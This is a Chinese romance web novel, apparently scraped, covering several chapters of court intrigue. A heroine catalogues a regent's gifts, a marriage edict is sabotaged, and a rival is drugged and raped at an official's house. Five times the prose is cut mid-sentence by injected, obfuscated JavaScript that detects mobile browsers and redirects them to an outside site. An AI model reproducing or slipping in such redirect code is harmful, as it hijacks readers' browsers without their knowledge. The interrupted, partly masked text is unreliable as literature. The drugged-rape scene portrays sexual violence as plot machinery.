推开厢房的门,眼前的景象让柳映雪微微一怔。大大小小的箱子整齐地摆满了整个房间,每个箱子上都贴着精美的封条,显然是经过精心安排的。阳光从窗棂间洒落,在箱子上投下细碎的光斑。 “这位摄政王,倒是有几分讲究。”她轻声低语,指尖划过最近的一个锦盒。 盒子打开的瞬间,一套官窑出品的茶具映入眼帘。月下仙子的图案栩栩如生,每一笔每一画都透着匠人的用心。柳映雪拿起茶壶,指腹轻轻摩挲着壶身,光滑的触感让她想起昨夜与萧寒瑾对弈时的情景。 “原来他注意到了。”她的唇角微微上扬,昨夜用的确实是一套普通的茶具。 第二个箱子里是一面西洋镜,镜面光可鉴人,镜框上雕刻着繁复的花纹。柳映雪看着镜中的自己,不禁莞尔。 这种在当下被视为稀罕物件的东西,在她看来不过是几十年后的寻常之物。 一阵微风从窗外吹来,带动了某个锦盒中露出的黄色锦穗。柳映雪走近查看,发现是一把精致的美人扇。扇面上绣着一朵娇艳的牡丹,连最细微的花瓣褶皱都处理得惟妙惟肖。 她轻轻展开扇子,顿时有一股清凉的风拂面而来。 “这倒是个好物件。”她眼中满是赞赏,悄悄将美人扇收入空间。 继续翻看其他箱子,里面的物件更是让她眼花缭乱。名家字画、青花瓷器、和田玉器、文房四宝,每一件都价值连城。 最后一个锦盒的重量明显与其他不同,打开一看,柳映雪的瞳孔微微一缩。 二十颗夜明珠整齐地躺在丝绒垫上,在昏暗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505491|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的房间里散发着莹莹光芒。 她拿起一颗细细打量,珠子晶莹剔透,光泽温润。这样的夜明珠,一颗就价值万金,二十颗加起来的价值,恐怕连当今圣上都要动心。 “这位摄政王,手笔未免太大了些。”她将夜明珠收入空间,眉头微皱。这样贵重的礼物,送得未免太过随意。 正当她准备将其他值钱的物件也收入空间时,突然想起司伯和母亲都知道这些东西在厢房。若是突然消失,必定会引起不必要的猜疑。她轻叹一声,只得作罢。 “大小姐。”司伯的声音从门外传来,“老奴带着账册来了。” “进来吧。”柳映雪整理了一下衣襟,“司伯,空箱子里的东西是我暂时收起来了,你只需记录剩下的物品就好。” “是,老奴明白。”司伯恭敬地应道,开始逐一清点剩余的物品。 离开厢房,柳映雪想起还要安排柳川的事情。虽然她很想立刻查看那些秘籍,但还是强迫自己先处理正事。她整理了一下思绪,向前厅走去。 柳川已经在那里等候多时。 “柳川,这次的任务很重要。”柳映雪正色道,“寻找孤儿不是简单的收容,我们要找的是可造之材。品性要端正,心性要坚韧,最重要的是要有上进心。” “属下明白。”柳川郑重地点头,“大小姐放心,我一定会严格把关。” “去吧,有什么情况随时向我汇报。” 安排完这些事情,柳映雪终于回到自己的房间。她迫不及待地取出那六本秘籍,手指轻轻抚过封面上的烫金文字。这些可都是江湖中人梦寐以求的武功秘籍,萧寒瑾竟然就这样轻易地送给了她。 有讲述轻功绝技的《追月无迹》,记载缥缈剑法的《星河剑典》,还有拳法与点穴之术的《点穴手谱》,无一不是武林中的绝世珍宝。 “这些秘籍...”柳映雪喃喃自语,指尖在最后两本秘籍的封面上流连,眼底是难以抑制的惊喜。 她拿起其中一本,封面上“玉女飞花”四个字跃然纸上。 翻开细看,越看越是心头火热,呼吸也不自觉地急促起来。这本秘籍详细记载了各种**暗器的使用方法,从基础的投掷技巧到高深的连发之术,无一不详。 “简直是为我量身打造的。”她轻声低语,嘴角不自觉地上扬。 第二十七章 赐婚的旨意 皇宫明德殿内。 “这便是朕的意思。”皇上将一道圣旨递给华神医,“你且带去吧。” 华神医接过圣旨,心中五味杂陈。他本想为徒弟谋一个好前程,却不知这一步走得是对是错。 “老臣告退。”他深深一揖,转身离开。 司公公在殿外接过圣旨,带人往摄政王府去。路上,他按捺不住好奇,偷看了圣旨内容。原来又是赐婚的旨意,这让他不由露出笑容。 马车轮碾过青石板路面,发出哒哒的声响。阳光透过车窗洒进来,在车厢内投下斑驳的光影。 司公公正闭目养神,忽然一阵剧烈的晃动让他猛地睁开眼。他下意识抓住车壁,眉头紧皱。 另一辆马车几乎是贴着他们擦身而过,两车之间的距离不过一指宽。车轮摩擦发出刺耳的声响,扬起的尘土飘进车厢。 “大胆!”司公公怒喝一声,抖了抖袖子上的灰尘,“这是宫里的马车,谁敢如此放肆!” 可惜对方车厢帘子紧闭,看不清里面是何人。马车疾驰而过,只留下一串车轮印。 “去查查是谁家的马车!”司公公对着车夫喊道,声音里带着不容置疑的威严。 就在这时,一道寒光闪过。 “嘶——”拉车的骏马突然扬起前蹄,发出一声凄厉的嘶鸣。马儿的眼睛瞪得老大,口中不断吐着白沫。 “不好!”司公公脸色大变,额头渗出冷汗。 马儿像是发了疯一般狂奔起来,车厢剧烈摇晃。司公公死死抓住车壁,可还是抵不住惯性,他连同手里那张圣旨一起,直接被轰飞了出去。 “砰!” 司公公重重摔在地上,当场昏厥。他的身子歪斜地躺在路边,额角渗出血丝。 那道金黄色的圣旨飘飘荡荡,在空中划出一道优美的弧线,最后落入路边一处污水坑中。更糟的是,那里还有一坨新鲜的狗粪。 远处的绿竹看到这一幕,嘴角忍不住抽搐。他倚在墙角,手中把玩着一枚铜钱。 “这运气...”他摇摇头,“还真是绝了。” 绿竹很快收敛了表情,朝暗处打了个手势。那匹发狂的马很快就被制住,倒在了地上。马儿的眼睛里还带着惊恐,身子不住地颤抖。 这段路是他精心挑选的,既远离人群又不会伤及无辱。路边的店铺大多关着门,偶尔有行人经过也会绕道而行。 “把人带走。”绿竹低声吩咐道,“别留下痕迹。” 几个黑衣人迅速上前,将昏迷的司公公抬走。那道沾了污渍的圣旨也被小心收起。 与此同时,荀王府。 澄世子听完手下的汇报,冷笑一声:“果然如此。” 九皇叔要娶顾雨婉,无非是为了调理身体。既然如此,他又怎能让这桩婚事成了? 思索片刻,澄世子眼中满是狠厉:“去请司尚书过来。” 原本只是想把顾雨婉送出京城,现在看来还需要更绝的办法。 司尚书最近正想纳妾,顾雨婉虽比不上秦玉华那样的绝色,虽然称不上绝世容颜,但也算是个标致小美人。更重要的是,她懂医术。 “送她去摄政王府做妾,倒是个不错的去处。”澄世子冷冷一笑,“就让她在后院里慢慢熬吧。” 此时的顾雨婉正在客栈用膳,脸上洋溢着幸福的笑容。她小口小口地吃着点心,时不时看向窗外。 “小姐今日心情很好呢。”丫鬟小心翼翼地说道,手里攥着帕子,指节发白。 “这事儿很快就会露馅。”顾雨婉笑意盈盈,眼中带着憧憬,“等圣旨一到...” 丫鬟低下头,掩饰眼中的厌恶。表面温柔的小姐私下最是刻薄,她身上还留着被掐出的淤青。每次小姐心情不好,她都要遭罪。 用完午膳,顾雨婉带着丫鬟回房。 刚进门,两道黑影闪过。 “砰!砰!” 主仆二人应声倒地。顾雨婉倒在地上,发髻散乱,脸上还带着惊恐的表情。 绿竹远远跟着两名暗卫,看着他们抬着昏迷的顾雨婉往尚书府去。街道上行人稀少,偶尔有人经过也被暗卫提前支开。 “这澄世子,好毒的心思。”绿竹眯起眼睛,“竟想把人送去做妾。” 绿竹轻巧地跃上房檐,夜风拂过他的衣袍,发出细微的簌簌声。他目光如炬,紧紧跟随着前方那道诡秘的黑影,丝毫不敢有半点松懈。 月色朦胧,澄世子的暗卫动作敏捷,在夜色中穿梭如鬼魅。他们的身形时隐时现,仿佛与黑暗融为一体,最终停在了一座气势恢宏的府邸后门前。 后门无声地开启,显然早有人在此等候。暗卫抱着昏迷的人影迅速闪入,门扉随即合拢,仿佛什么都没发生过。整个过程行云流水,显然不是第一次做这种勾当。 绿竹眉头微皱,几个起落间来到前门。抬头望去,那块金漆牌匾在月光下泛着冷冽的光芒——尚书府。 “果然。”他嘴角勾起一抹冷笑。 尚书司大人的好色之名,在京城可谓是人尽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505493|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皆知。那些年轻貌美的女子,但凡入了他的眼,便如同飞蛾扑火,再难逃脱。而顾雨婉那般清丽脱俗的容貌,对这老色鬼来说无异于致命的诱惑。 夜风徐徐,带来几声若有若无的狗吠。绿竹站在屋顶,看着府邸内亮起的灯火,眸中闪过复杂的神色。 “澄世子这一手,当真是好算计。”他低声喃喃,“既除掉了眼中钉,又能借司尚书的手脱得干系。” 转身离去时,绿竹心中盘算着该如何向王爷复命。今日一时口快,说了些不该说的话,惹得王爷不悦,怕是免不了一顿责罚。夜色中,他的身影渐渐消失在层叠的屋脊之间。 与此同时,在街道上,司公公终于从昏迷中转醒。他浑身酸痛,脑袋昏沉,好一会儿才回过神来。 “老奴...老奴还活着?”司公公抱住身边的小太监,声音颤抖,“苍天有眼啊!这把老骨头居然没摔散!” 眼泪不受控制地流下来,沾湿了他的官服。小太监们面面相觑,还是第一次见这位平日趾高气扬的司公公如此失态。 “司公公,那个...圣旨...”一个机灵的小太监小心翼翼地提醒道。 司公公猛地一惊,仿佛被雷击中般,四下寻找。当看到那沾满污秽的圣旨时,整个人瘫软在地,面如死灰。 “完了完了,老奴这条命怕是保不住了...”司公公瘫坐在地上,喃喃自语,“圣上最是看重礼数,圣旨被污,这...这...” 他强撑着站起来,双腿还在发抖,对着周围的小太监们厉声道:“都给我听着!今日之事,只许说马车失控,圣旨不慎落入泥水之中。谁要是多嘴,小心自己的脑袋!” 小太监们连连点头称是,心中却各有盘算。这等大事,怕是瞒不了多久。 尚书府内,一间装饰雅致的厢房中,檀香袅袅,烛光摇曳。 顾雨婉迷迷糊糊地睁开眼,入目便是司尚书那张布满褶皱的脸。 那张脸在烛光下显得格外可怖,她只觉一阵恶心,想要挣扎,却发现浑身无力,连抬手的力气都没有。 “你...你这个老匹夫,放开我!”她声音颤抖,却依然倔强地喝道。 司尚书不以为意,反而笑得更加猥琐。他伸手抚摸着顾雨婉的脸颊,眼中闪烁着贪婪的光芒:“小美人,做本官的妾室,是你的福分。” “我可是青云国的小神医!马上就要成为摄政王的侧妃!你敢动我?”顾雨婉强忍着心中的恐惧,故作镇定。她的声音虽然虚弱,却带着威胁。 第二十八章 成了小妾 司尚书闻言,眼中精光一闪。他心中盘算,若真是摄政王看中的人,又怎会被人送到自己床上?显然是有人故意为之。 “小美人,你这话可骗不了本官。”司尚书伸手抚上她的脸,“若真是摄政王的人,今日又怎会落到本官手中?” 老者的动作愈发放肆,顾雨婉只觉得浑身发冷,一阵阵寒意从四肢百骸渗入骨髓。昏暗的烛光下,她看着那张布满皱纹的脸逐渐逼近,胃里一阵翻涌。 “你...你不能这样...”她声音颤抖,试图蜷缩身体,却发现四肢早已失去知觉。 司大人伸手抚上她的脸庞,粗糙的指腹擦过她的泪痕。“小娘子何必如此抗拒?本官向来怜香惜玉,定会好生待你。” 顾雨婉强忍着反胃的感觉,哽咽道:“求求你...我是青云国的小神医,求求你饶了我吧,我愿意为你效劳,替你诊治百病...” “诊治百病?”司大人轻笑一声,手指滑过她的锁骨,“本官不需要大夫,只需要你这个人。往后你便留在府中,做本官的小妾,岂不美哉?” 她的衣衫被一件件剥离,如同被人一层层剥开的茧。冰冷的空气刺激着肌肤,顾雨婉忍不住打了个寒颤。 泪水模糊了视线,她望着床顶的帐幔,意识逐渐涣散。身为大夫的直觉告诉她,自己定是被下了药。四肢绵软无力,连最后的反抗都做不到。 “乖,不哭了...”司大人的声音愈发轻柔,“本官定会好好疼你。” 顾雨婉紧咬下唇,铁锈般的腥味在口中蔓延。她想过咬舌自尽,可又不甘心就这样死去。她要查出是谁将她送到这个老色鬼的床上,究竟是谁在背后设计这一切。 更何况,师父已为她请来圣旨。若宣旨的公公寻不到她,必会派人搜寻。这一丝希望支撑着她,忍受着这令人作呕的折磨。 直到那抹刺目的红色染上床单,顾雨婉终于闭上了眼。 她知道,自己永远失去了嫁给王爷的机会。像那样如谪仙般的人物,怎会要一个已经被玷污的女子? 但她不会就此认命。她要让这个老东西付出代价,还要查出那个害她的人。只有这份仇恨,才能让她继续活下去。 与此同时,摄政王府书房内。 萧寒瑾正对着一个小瓷瓶出神,,思索着该用什么借口再去见那个小姑娘。 绿竹的敲门声打断了他的思绪。 “进来。”萧寒瑾将瓷瓶收好,抬眼望向门口。 绿竹推门入内,躬身行礼。“王爷,事情已经办妥,司大人那边...” “说下去。” “司大人已经得手,顾姑娘现在...”绿竹欲言又止。 萧寒瑾眸色渐深,手指在案几上轻叩。“继续。” “顾姑娘已经被司大人纳为小妾,消息很快就会传遍整个京城。” “很好。”萧寒瑾微微颔首,“去办最后一件事。将这个消息散布出去,越快越好。务必让皇上第一时间知晓。” “是。”绿竹领命而去。 此时宫门外,司公公故意酝酿情绪,强逼出几滴眼泪,从小太监身边接过那道金黄色的圣旨,一路哭着向明德殿走去。他的哭声引来不少宫人驻足,纷纷猜测发生了什么事。 消息很快传遍宫中,都说司公公哭得凄惨,手捧圣旨往明德殿去了。有人猜测是摄政王不给面子,也有人说是出了什么意外。 皇上早得到消息,正在明德殿等着。他放下手中的奏折,端起茶盏轻啜一口。这司公公不是去传旨了吗?怎么一副哭丧着脸回来? 难不成是被那位凶名赫赫的摄政王给赶回来的?想到这里,皇上更加恼火。这个老九,胆子大到连皇上的圣旨都不肯接,是把他这个皇帝不放在眼里了。 杀了摄政王的心愈发坚定。 皇上搁下奏折,一边饮茶一边等着,倒要看看这老九到底有多大胆子。明德殿内一片寂静,只有檀香袅袅升起。 许久,司公公终于进了明德殿,哭得更凶了。 “皇上啊,老奴有罪!”司公公直接跪地痛哭,额头重重叩在地上。 “起来说话。”皇上脸色阴沉,“是不是老九又把你给收拾了?” 司公公不敢起身,“回皇上,不是摄政王。是老奴刚出宫门,马车突然失控,老奴被甩了出去,当场昏迷。多亏皇上龙气庇佑,老奴才捡回一条命啊!” 说罢又是连连叩首,额头都磕出了血。 皇上被这马屁拍得舒坦,语气缓和了些。“起来细说。” 司公公颤巍巍起身,挑重点说了经过,尤其强调圣旨受损的事。他将那道已经看不清字迹的圣旨呈上,泪眼婆娑地诉说着自己的惊险遭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505494|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遇。 “所以圣旨已经看不清了?”皇上眯起眼睛。 “是,圣旨......” 话未说完,又有太监来报,“皇上,华神医求见,说有要事禀报。” “宣。” 华神医跪在明德殿内,双手颤抖地撑在地上,额头上的汗珠不断滚落。他已经在这里跪了许久,膝盖早已疼痛难忍,可这点痛苦与内心的煎熬相比,实在不值一提。 “皇上,草民的徒儿原本在客栈等候圣旨,却被尚书府的司大人强行掳走。”他的声音因哽咽而断断续续,“求皇上为草民做主啊!” 明德殿内一片寂静,这消息来得太过突然,打乱了他所有的部署。顾雨婉的清白若是有损,他原本的计划便彻底落空。他恨不得将这个搅乱朝政的摄政王挫骨扬灰,但皇家的颜面不容玷污。一个已失清白的女子,如何能嫁入皇族? “隐卫。”皇上的声音低沉而威严。 一道黑影无声无息地出现在殿中,跪地行礼。他的动作轻盈得宛如一片落叶,若不是刻意显露,常人根本无法察觉他的存在。 “去尚书府查看顾雨婉是否当真在那里,切记不可惊动任何人。” “是。”黑影应声即逝,仿佛从未出现过。 皇上转向依旧跪着的华神医,目光如炬:“你如何得知是尚书府所为?” 华神医擦了擦额头的冷汗,声音略显颤抖:“回皇上,此事已传遍京城。草民的徒儿向来以小神医闻名,这消息便传得极快。街头巷尾都在议论,说是看见司大人的马车停在客栈门口,随后便有人将顾雨婉抬上了马车。” 皇上的手指停止了敲击,眸光渐冷。消息传播如此之快,显然是有人刻意为之。难道老九已经知道了赐婚之事? 从司公公的马受惊,到圣旨毁坏,再到顾雨婉被掳,每一件事都像是在指向那个人。这些巧合背后,分明是有人在暗中操控。 殿内的气氛愈发凝重,连跪在地上的华神医都不敢抬头,生怕触及龙颜。 不多时,隐卫悄然归来,面露尴尬之色:“启禀皇上,顾姑娘确实在尚书府,属下去时...她正与司大人共处一室。那司大人...” “住口!”皇上轻咳一声,打断了隐卫的话。他揉了揉太阳穴,心中暗叹。还真是不顾年纪大小,竟做出这等荒唐事。 第二十九章 勤修苦练 虽说司大人当年助他登基,有从龙之功,但这般坏他大事,也该给些教训。皇上的目光扫过殿内众人,最后落在一旁侍立的司公公身上。 “司公公。” “奴才在。”司公公连忙上前,弯腰行礼。 “传朕口谕,命司大人即刻启程南下查看水灾,一月内返京。” 司公公领命而去。这分明是要让那老头子在路上受罪。南方正值雨季,道路泥泞难行,一个月的期限更是让人难以喘息。 “华神医。”皇上看向仍跪在地上的老者,语气缓和了几分,“虽然原先之事已不可为,但若你能另想他法达成目的,朕允你的事依旧作数。” 华神医眼中精光一闪,连连叩首:“多谢皇上隆恩。” 待华神医离去,皇上独自凝思。老九,你当真以为朕奈何不得你么? 与此同时,郊区清溪居内。 柳映雪已在房中闭关一日有余,门外的丫鬟们急得直跺脚。她们轮流守在门外,时不时地竖起耳朵听着里面的动静,生怕小姐出什么意外。 “竹儿,小姐真的一整天都没用膳吗?”一个年纪稍长的丫鬟低声问道。 竹儿愁眉苦脸地点点头:“是啊,连水都没喝一口。我们敲门她也不应,这可如何是好?” “要不要去请老太君来看看?” “别!”竹儿连忙摇头,“小姐特意交代过,不许打扰她,更不许告诉老太君。” 殊不知柳映雪此刻正在空间内勤修苦练。 月露水的神奇功效远超她的想象,不仅重塑了她的筋骨,更让她的武功突飞猛进。 她站在空间中央,一招一式都凝聚着十足的力道。汗水浸透了衣衫,却丝毫不影响她的动作。每一个呼吸间,都能感受到体内真气的流转,那种感觉让她沉醉其中。 休息时分,她取出一块墨色石头,静静地端详着。这是爷爷留给她的传家之宝,能引她进入这片神奇的空间。 “若是在**中加入月露水,会是什么效果?”她摸着下巴自言自语。 想到就做,她取出浴桶,舀了些月露水准备洗个澡。 温热的水流包裹全身,她只觉浑身舒畅,连日来的疲惫一扫而空。 洗完澡后,她感觉身体前所未有的轻盈。这段时间在空间里,她几乎是靠月露水过活,修炼时更是把它当水喝。如今加上**得的轻功,轻轻一跃便飞出老远。 出了空间,柳映雪拿起铜镜一照,不由皱眉:“这镜子也太模糊了。” 从空间取出后世带来的镜子,她仔细端详起自己。白皙的肌肤吹弹可破,灵动的大眼波光潋滟,小巧的琼鼻精致可人,粉嫩的樱唇让人移不开眼。与后世的自己简直一模一样,只是稍显稚嫩。 门外突然传来急促的脚步声,接着是丫鬟们焦急的呼唤。她推门而出,四个丫鬟瞬间看呆了。 “小姐...小姐怎么突然变得这般好看了?”紫薇忍不住脱口而出,随即意识到失言,慌忙低下头。 柳映雪挑眉:“怎么,我之前就不好看?” “不是不是!”紫薇连忙解释,脸都急红了,“是更好看了!” “行了,逗你玩的。”柳映雪轻笑,“我研究了些美容的方子,改日给你们也试试。” 几个丫鬟欢天喜地地跟着她去了朱氏的院子。 路上,晓菊忍不住打量着自家小姐,不仅容貌变得更加出众,就连举手投足间都多了几分说不出的韵味。 “雪儿,可算来了。”朱氏见到女儿就开始念叨,“中午就吃了点心,这怎么行?快来用膳。” 柳映雪乖巧地坐到母亲身边。朱氏一边给她夹菜,一边絮絮叨叨:“我让人从南边运了水果来,还从西临府买了阿胶,大夫说你缺血,得补。对了,孙掌柜从皇商那儿给你买了不少补品......” “等等!”柳映雪差点被饭呛到,“皇商的东西?” “是啊,孙掌柜跟皇商讨价还价,好不容易买了五箱回来。”朱氏说得轻描淡写。 柳映雪目瞪口呆。这可是要进贡皇宫的东西啊!她娘竟然让人截了一半回来?这胆子...也太大了吧! “娘,这...这不太好吧?”她小心翼翼地说道。 朱氏放下筷子,轻轻拍了拍她的手:“傻孩子,娘做事自有分寸。那皇商跟咱们府上有些渊源,这点小事算不得什么。” 柳映雪张了张嘴,最终还是把到嘴边的话咽了回去。她知道母亲是为了自己好,可这般明目张胆地从皇商手中购买贡品,若是传到有心人耳中,怕是会惹来祸事。 “是不是觉得太少了?”朱氏一边说着,一边给女儿夹了一块鲜嫩的鱼肉,“娘也这么想。等你孙叔闲下来,我让他再去采买些补品。” 柳映雪看着桌上琳琅满目的珍馐,心中哭笑不得。少?这哪里是少,分明是太多了。五箱珍贵补品,一半进了皇宫,一半到了她们母女手中。这样的待遇,她哪敢说半个“少”字。她抿了抿唇,轻声道:“娘,已经很多了。不如等吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505495|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完这些再说,免得放坏了。” “雪儿说得对。”朱氏点头,手中的动作却没停,继续往女儿碗里添菜,“那下次买些易存放的补品。” 柳映雪张了张嘴,最终只能无奈地低头用膳。屋外寒风呼啸,檐角的风铃发出清脆的响声。她忽然抬起头:“娘,你没发现我有什么不同吗?” 朱氏放下筷子,仔细打量着女儿。烛光下,女儿的面容愈发清丽脱俗,眼中似有星辰闪烁。她眼中满是慈爱:“自然是比从前更漂亮了。不过我的雪儿身上发生什么,我娘估计都不带眨眼的。” “为何?”柳映雪眨了眨眼,好奇地问道。 朱氏端起茶盏抿了一口,语气坚定:“因为我的女儿是大富大贵之人,更是得过佛祖指点的人。神明大人随随便便就能搞定,我的雪儿自然也无所不能。娘只会为你高兴,也会继续虔诚礼佛的。” 柳映雪暗自好笑,原来佛祖这么好用?看来以后有什么异常,都可以推到佛祖身上了。反正在娘亲眼里,佛祖指点过的人就是最厉害的存在。 她低头掩饰着嘴角的笑意。 用过晚膳,母女俩移步到了暖阁。炉火将整个房间烤得暖融融的,窗外的寒意仿佛被隔绝在另一个世界。朱氏让丫鬟们端来了新煮的茶,一边给女儿倒茶,一边说道:“雪儿,再有一月就是年关了。你既已指婚给摄政王,届时必会收到宫宴邀请。” “娘不去吗?”柳映雪接过茶盏,轻轻吹了吹上面的茶叶。 朱氏的动作顿了顿,脸上满是讥讽:“娘从未去过。你父亲每次都带着那个二夫人和她的一双儿女去。你那时身子不好,自然也去不得。”说到这里,她的手指不自觉地捏紧了茶盏。 柳映雪看着娘亲眼中一闪而过的恨意,心中了然。一个外室摇身一变成了平妻,还带着子女招摇过市,这口气谁咽得下? 更可恨的是,那对母女还要时常到娘亲面前炫耀。她放下茶盏,握住母亲的手:“娘若不去,我也不想去。我在宫中无人相识,万一被人欺负了怎么办?” 朱氏面露难色,眉头微蹙:“可是入宫需要请帖...” “娘放心,区区一张请帖,摄政王还能办不到?”柳映雪话一出口,立刻意识到失言。 “雪儿!”朱氏神色骤然严肃,声音也提高了几分,“圣旨岂能违抗?这样的话以后不可再说。” “是,是,雪儿知错了。”柳映雪连忙撒娇,凑到母亲身边蹭了蹭,“娘别生气,雪儿就是一时口快。” 第三十一章 给准王妃布菜 柳映雪轻轻推开书房的门,扑面而来的是浓郁的檀香气息。她皱了皱眉,这香气中似乎还掺杂着若有若无的异味。书房内陈设考究,与老太君的房间不相上下。 “呵。”她冷笑一声,“平日里装得清廉,背地里倒是会享受。” 手指轻点,将眼前所见尽数收入空间。她的动作干净利落,宛如行云流水。转眼间,整个书房已被搜刮一空。 柳映雪满意地环视四周,忽然注意到角落里一个半米高的青花瓷瓶。瓷瓶通体青翠,上面绘着栩栩如生的山水画,一看便知是价值连城的宝物。 “咦?”她试图将瓷瓶收入空间,却毫无反应。这不寻常的现象让她心头一动,难道这里另有玄机? 她快步上前,仔细打量着瓷瓶。月光从窗缝中漏进来,在瓷瓶底座上投下一道细微的光线。柳映雪眼睛一亮,双手扶住瓷瓶轻轻转动。 “咔嗒”一声,地面缓缓裂开一道暗门。一股阴冷潮湿的气息扑面而来,她下意识后退半步。 凑近细闻,眉头顿时皱起:“好毒!” 暗道两侧的墙壁上尽是剧毒,延伸足有一米。就连开门的机关都被抹上了致命**。若是寻常人不小心触碰,怕是连解药都来不及服用就会毒发身亡。 “呵,真是好一位柳大人。”她冷笑,“这是要让所有进来的人有来无回啊。” 暗门在她身后自动关闭,柳映雪取出特制的手电筒。明亮的光线瞬间驱散黑暗,照亮了每一个角落。石阶蜿蜒向下,不知通向何处。 她小心翼翼地避开墙壁上的毒物,拾级而下。又是一扇门,这次只是普通的铁锁,两秒便被她轻松解开。 当看清密室内的景象时,柳映雪瞳孔骤缩。金银珠宝,整箱整箱地堆积如山。一个小盒子里,装满了面额万两的银票。角落里还堆着几箱珍贵药材,光是人参就有好几根百年以上的。 “原来如此。”她咬牙切齿,“这些年,连老太君都被蒙在鼓里。” 想到母亲这些年的艰辛,柳映雪心中怒火中烧。她毫不客气地将密室搜刮一空,只留下一块沾满剧毒的抹布,算是给柳丞相的“见面礼”。 回到书房,她看着躺在木板上的柳丞相,嘴角浮现出一抹恶作剧的笑意。从空间取出两粒药丸,轻轻喂入他口中。 “让你装模作样,明天有你好看。” 正要离开时,她忽觉危险临近。两道强大的气息正在逼近,远非她现在能够应付。柳映雪当机立断,展开轻功急速逃离。 她在房顶间跳跃穿行,却渐渐力不从心。就在即将被追上的瞬间,一双有力的手臂揽住了她的腰。熟悉的檀香气息扑面而来,让她瞬间绷紧了身子。 “就这点功夫,还敢夜闯丞相府?本王的小王妃,胆子不小啊。”熟悉的声音在耳边响起,带着几分调侃。 柳映雪悄悄收起手中的毒粉,嘴硬道:“关你什么事!” 萧寒瑾轻笑一声,抱着她几个起落,便将追兵甩在身后。最后落在一处府邸内。院中花木扶疏,假山流水,处处透着奢华。 柳映雪立刻挣脱他的怀抱,警惕地打量四周:“这是哪里?” “放心,这是本王的府邸。”萧寒瑾看着她戒备的模样,心中莫名一动,“谁敢驱逐本王的正室?” 柳映雪瞪大了眼睛,一脸不可思议地看着眼前的男人。 这里是摄政王府,她竟然被萧寒瑾带到了他的府邸! “你把我带到你府上来了?你我还未完婚,你怎么能这样! 萧寒瑾站在窗边,阳光透过窗棂在他俊美的侧脸上投下细碎的光影。他转过身,目光落在柳映雪身上,唇角微微上扬:“好,我知道了,雪儿。” 这声“雪儿”叫得亲昵自然,柳映雪心里一颤,暗自腹诽:谁跟你这么熟了?她下意识地往后退了一步,却被身后的书案挡住了去路。 房间里弥漫着淡淡的紫檀香,与萧寒瑾身上的气息如出一辙。柳映雪深吸一口气,试图让自己冷静下来。 可当她抬头,正对上萧寒瑾那张笑靥如花的俊脸时,一时看得有些发愣。 这个平日里冷若冰霜的男人,笑起来竟是这般好看。 “你这样开怀大笑的样子真动人。”她脱口而出,随即意识到自己说了什么,连忙补充道,“有空的时候常常这样笑一笑吧。” 萧寒瑾微微一怔,眸中闪过异样的情绪。他缓步走到柳映雪面前,伸手轻轻抚上她的发丝:“雪儿说什么,我都记着。” 柳映雪的心跳漏了一拍,她慌乱地躲开他的手:“你、你别这样。” 萧寒瑾也不恼,只是静静地看着她:“为什么要躲?” “你我还未完婚。”柳映雪小声嘟囔,“而且我还没答应要嫁给你呢。” “是吗?”萧寒瑾轻笑一声,“那我等你答应。” 柳映雪一时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505497|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语塞,这个男人怎么总能把她噎住?她正想说些什么,肚子却不争气地叫了一声。 “饿了?”萧寒瑾问道。 “都怪你提吃的!”柳映雪嘟着嘴,“我其实还不觉得饿呢。” 